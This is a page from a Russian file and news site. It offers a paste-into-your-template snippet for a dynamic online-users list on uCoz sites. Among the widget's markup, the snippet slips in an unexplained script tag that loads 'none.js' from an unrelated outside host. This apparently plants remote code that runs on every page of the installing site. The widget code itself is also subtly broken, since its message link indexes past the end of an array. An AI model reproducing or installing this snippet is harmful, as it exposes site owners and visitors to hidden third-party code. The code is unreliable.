Понедельник, 02.12.2024, 18:53
Перевод

Погода
Профиль
Здравствуйте, Гость
Гость, мы рады вас видеть.
Поиск
Друзья сайта
  • All Share
  • it-baza
  • Eroglamour.ru
  • Статистика
    widgeo.net



    Каталог webplus.info










    Яндекс.Метрика







    Онлайн всего: 79
    Гостей: 79
    Пользователей: 0


    Всего: 201
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0

    Администраторов: 2
    Модераторов: 3
    V.I.P.: 2
    Журналистов: 27
    Временных: 0
    Заблокированных: 0
    Обычных: 167

    Парней: 157
    Девушек: 43

    Всего материалов:
    Новостей: 43846
    Блогов: 226
    Файлов: 57
    Фото: 0
    Форум: 7/7
    Коментариев: 29


    Посетившие за День



    День рождения рождения


    Облако тегов
    Реклама


    Меню сайта
    Категории раздела
    Программы [3808]
    Мультфильмы [491]
    Антивирус [223]
    Photoshop [1548]
    Книги Журналы [11595]
    Клипы [878]
    Фильмы онлайн [3]
    Все для Мобилы [352]
    Игры [1012]
    Музыка [9033]
    Фильмы [2969]
    Заработок в Интернете [554]
    Все для Того чтоб заработать в Интернете
    Разное [11198]
    Скрипты - Шаблоны для сайтов [57]
    Youtube
    Наш опрос
    Оцените мой сайт
    Всего ответов: 54
    Игра
    Реклама

    >

    Эротический видео-чат
    автоматическое продвижение сайтов






    $$$ для web-мастеров

    Сборник элитных сайтов с особой модерацией.

    <
    Рейтинг сайтов 3D Architech - Новости CG графикиСтатистика посещений сайта
    Каталог webplus.info
    Главная » 2012 » Октябрь » 16 » Новый простой динамичный список онлайн пользователей
    18:43
    Новый простой динамичный список онлайн пользователей
    Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

    Установка:

    В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

    Code
    <div class="apoulist" style="display:none;">  
      $ONLINE_USERS_LIST$  
      </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>  
      .apo {  
      width:95%;  
      height:15px;  
      background:rgba(230, 230, 230, 0.8);  
      padding:2px;  
      vertical-align:middle;  
      margin-bottom:5px;  
      font-weight:bold;  
      border-left:1px solid #ccc;  
      border-top:1px solid #ccc;  
      border-radius:2px;  
      }  

      .apo a {  
      text-decoration:none;  
      }  
      </style>  
      <script>  
      // Удобная динамичная онлайн статистика by Apocalypse  
      function apoOnGet() {  
      // Основная функция получения и стилизации списка пользователей  
      $('.apoulist').load('# .apoulist', function() {  

      // Убираем запятые  
      $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));  

      // Делаем форму видимой  
      $('.apoulist').fadeIn();  

      // Превращаем список пользователей в блочный вариант + отключаем события при клике  
      $('.apoulist a').each(function() {  
      $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');  
      }).removeAttr('onclick').click(function() {return false});  
      });  
      };  

      // Запускаем функцию при загрузке страницы  
      apoOnGet();  

      // Запускаем интервал автообновления  
      setInterval(function() {  
      apoOnGet();  
      }, 30000);  

      // Функция получения профиля  
      function apoGetP(name) {  
      new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});  
      }  

      // Функция получения страницы Личных Сообщений  
      function apoGetPm(url) {  
      var url2 = url.split('-');  
      var url3 = url2[url2.length];  
      new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});  
      }  
      // ApoTeam (c) 2012  
      </script>
    Просмотров: 93 | Добавил: Aninew | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]